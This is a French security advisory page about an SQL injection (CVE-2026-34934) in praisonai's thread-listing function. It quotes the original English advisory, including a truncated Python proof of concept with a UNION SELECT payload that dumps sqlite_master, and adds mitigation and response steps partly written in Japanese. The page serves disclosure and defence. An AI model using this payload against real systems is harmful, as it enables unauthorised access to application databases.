Injection SQL dans praisonai (CVE-2026-34934)
Résumé
Injection SQL dans praisonai (CVE-2026-34934). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via get_all_user_threads. Atténuation : mise à jour vers 4.5.90 ou plus.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
Details
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Résumé généré automatiquement
Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.
Une vulnérabilité référencée CVE-2026-34934 a été découverte dans praisonai.
Des attaquants peuvent cibler un point d'entrée spécifique comme get_all_user_threads à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 9.8/10.
Action : mettez à jour praisonai vers 4.5.90 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « praisonai CVE-2026-34934 » sur le site de l'éditeur.
CVE-2026-34934 (praisonai) — CWE-89 / CVSS v3 9.8
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : get_all_user_threads / update_thread
Correctif : 4.5.90 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une injection SQL (CWE-89) affecte praisonai. Les attaquants atteignent le code vulnérable via get_all_user_threads sans authentification.
Consultez l'avis de l'éditeur pour les versions affectées de praisonai. Surface d'attaque : get_all_user_threads / update_thread.
Gravité : Critique (CVSS 9.8/10). L'exploitation peut entraîner la prise de contrôle totale du système.
Mettre à jour vers 4.5.90.
En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.
Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
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1Identify exposure identify
grep -r 'praisonai' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
praisonaiを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade praisonai to 4.5.90ステージング環境で 4.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Paquets affectés
Références
- advisory nvd.nist.gov
- package github.com
- web github.com